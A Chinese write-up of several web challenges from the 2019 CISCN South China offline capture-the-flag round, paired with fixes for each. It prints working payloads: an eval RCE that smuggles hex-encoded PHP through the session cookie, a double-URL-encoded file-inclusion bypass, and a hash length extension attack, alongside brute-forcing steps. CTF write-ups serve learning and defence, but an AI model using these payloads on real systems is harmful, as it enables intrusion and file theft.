原创干货 | CISCN华南赛区线下赛WEB题部分writeup

  1. 题目是在Fix It环境拷下来的,写writeup时的环境是自己搭的
  2. 有些题目忘记拷贝数据库,各位大佬凑活看吧
  3. 题目的GitHub仓库:https://github.com/NS-Sp4ce/2019-Ciscn-Southern-China-Web

Web1

Break It

打开页面如下 1562850051215.png 按照惯例Ctrl+U看源代码,发现被注释的<!-- <p class="forgot"><a id="iforget" href="forgetpassword.php">Forgot your password?</a></p>--> 1562850150394.png

字面意思是重置密码的页面,访问试试

1562850199817.png 由于不知道用户名,抓包随便输入个用户名看看返回的信息 1562850323023.png

OK,找个用户名字典爆破下 1562850802531.png

设置下 1562850369376.png

爆破出admin123这个用户存在 1562850867761.png

输入后,跳转到下一个页面 1562850892755.png

4位验证码爆破走起

Burpsuite1562850976886.png

设置 1562850969198.png

走起,然后踩了第一个坑 1562851061799.png

验证码全部错误,Ctrl+U看了下源代码 1562851107127.png

哦豁,设置base64编码 1562851144415.png

继续爆破,时间不长出现重置密码的信息 1562851197988.png

用户名admin123,密码f4h1l0t0j2g5b1m0a0m0a3d2d0,登上去看看 1562851268627.png

提示phpmyadmin,进去看看

打开后发现 1562854196288.png

这时候比赛方放出hint,备份文件,然后,一顿扫 1562854391609.png

扫出备份文件 1562854426155.png

提示

Why not try code breaking?
//mDjNaF.php

1562854458724.png

<?php 

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
    eval($_GET['code']); 
} else { 
    show_source(__FILE__); 
} 

接下来的步骤在赛后参考了2018RCTF的原题r-cursivehttps://delcoding.github.io/2018/05/rctf-web-writeup1/#r-cursive

根据正则匹配条件和本地搭环境调试可以知道只能执行不带参数、函数名不含包括_在内的特殊符号,所以只能是x(y(z()))此类的调用形式。所以从code参数里进行函数执行是不太可能的了,比赛时也没有想到突破方法,后来才得知可以运行http header头来进行处理。

PHP中可以使用get_headers,getallheaders获得HTTP请求头的信息,并返回键值数组,所以我们就只能用getallheaders()来获取。又因为返回的是数组,我们可以使用implode()来将数组转换成字符串。所以我们初步构造:implode(getallheaders())。但如果仅是这样还不能运行我们的代码,因为implode()返回的已经是字符串了,"implode()"(注意"),有相当于多嵌套了一层字符,所以我们应该使用eval(implode(getallheaders()));来进行执行。

然后又发现cookie中的PHPSESSID可控,PHPsession_id()函数可以获取 PHPSESSID,如果没有开启 session可以使用 session_start()函数。由于不能带参数,我们可以将命令转化为 hex 再用 hex2bin()函数转换,尝试构造请求包如下

GET /mDjNaF.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1 Cookie: PHPSESSID=6563686f2754455354273b Host: 192.168.2.227:81 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 DNT: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close

1562895846737.png 这样就可以构造RCE了

Payload:

GET /mDjNaF.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=6563686f2066696c655f6765745f636f6e74656e747328222f666c616722293b

6563686f2066696c655f6765745f636f6e74656e747328222f666c616722293bHex解码后为echo file_get_contents("/flag");

Fix it

修改mDjNaF.php文件,注释掉eval函数。

web7

Break it

打开题目 1563019511983.png

查看下源代码 1563019528128.png

注释掉了一个名为sourcephp文件,访问下 1563019564987.png

<?php
    class kind
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","aa"=>"aa.php"];//白名单
            if (! isset($page) || !is_string($page)) {//判断是否传递了page参数
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {//判断page是否在白名单里
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );//进行问号截取
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//出问题的代码
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && kind::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];//文件包含
        exit;
    } else {
       echo "<h>Look carefully and you will find the answer.</h><br>";
    }  
?>

源代码显示是文件包含类型的,想要利用需要满足3个条件

  1. file参数不为空
  2. file参数是字符串
  3. 通过kind类中的checkFile方法

所以用%253f(二次URL解码后是?)就可以绕过了,PAYLOAD:file=source.php%253f/../flag.php 1563020120782.png

查看源代码是 1563020138445.png


<html>
<head>
<title>猜密码</title>
</head>
<body>
<!-- 
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
    if ($_POST['pwd'] == $_SESSION['pwd'])
        die('Flag:'.$flag);
    else{
        print '<p>猜测错误.</p>';
        $_SESSION['pwd']=time().time();
    }
}
-->
<form action="index.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>

如果postpwd等于当前的时间的时间戳,就返回flag,尝试过提前预判时间,发现不可以,就只能直接入手题目了,这里用到了一个弱比较,来进行一个空比较,session ID是我们可控的,pwd也是我们可控的,唯一就是session我们无法控制是多少,但是可以置为空,所以直接post空的pwd过去就可以了(这是fix后的) 1563020450719.png

Fix it

  1. 可参考phpmyadmin官方的修复方式
  2. die('Flag:'.$flag);->die('Flag:NOPE');

web10

Break it

打开是个卫星控制系统,要日卫星? 1563443581056.png

查看下robots.txt 1563443609590.png

访问看看 tuhaokuai_1581473272.png

登录时抓包,发现有段hash_key 1563443679265.png

猜测是md5后的值,探测下目录 1563443766952.png

发现了License.txt

访问后发现了部分源代码 1563443803943.png


$flag = "flag{xxxxxx_just_a_sample_xxxxxxx}";
$bisskey = "xxxxxxxxx_just_a_sample_xxxxxxx"; // To remember Easily, 10 chars allowed.

$username = $_POST["username"];
$password = $_POST["password"];
header("hash_key:" . $hash_key);


if (!empty($_COOKIE["MyIdentity"])) {
    if (urldecode($username) === "admin123" && urldecode($password) != "admin123") {
        if ($_COOKIE["MyIdentity"] === md5($bisskey . urldecode($username .$password))) {
            echo "Great! You win!\n";
            echo ("<!-- Y0ur f!4g 1s here ". $flag . "-->");
        }
        else {
            die ("I don't konw what you say!");
        }
    }
    else {
        die ("I don't konw what you say!");
    }
}

setcookie("hash_key", md5($bisskey . urldecode("admin123" . "admin123")), time() + (60 * 60 * 24 * 7));//hashkey算法

其中hash_key算法为$bisskey(长度10的字符串)与url解码后的admin123admin123相连接后进行md5加密,爆破是不可能爆破了,查阅资料后发现可以用哈希扩展攻击,构造payload:

root@kali:~/hash_extender# ./hash_extender --data admin123admin123 --secret 10 --append ciscn --signature e7187cb49ce6d5958d279284af968254 --format md5
Type: md5
Secret length: 10
New signature: c862a00ecfd776d1907b30da639431e7
New string: 61646d696e31323361646d696e313233800000000000000000000000000000000000000000000000000000000000d000000000000000636973636e

替换MyIdentifypassword后即可获得flag 1563445111368.png

Fix it

改掉bisskey的值

END

总的来说这次比赛题目质量不错,做题体验极好,线下赛没有搅屎棍,选手们表示明年再来。

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐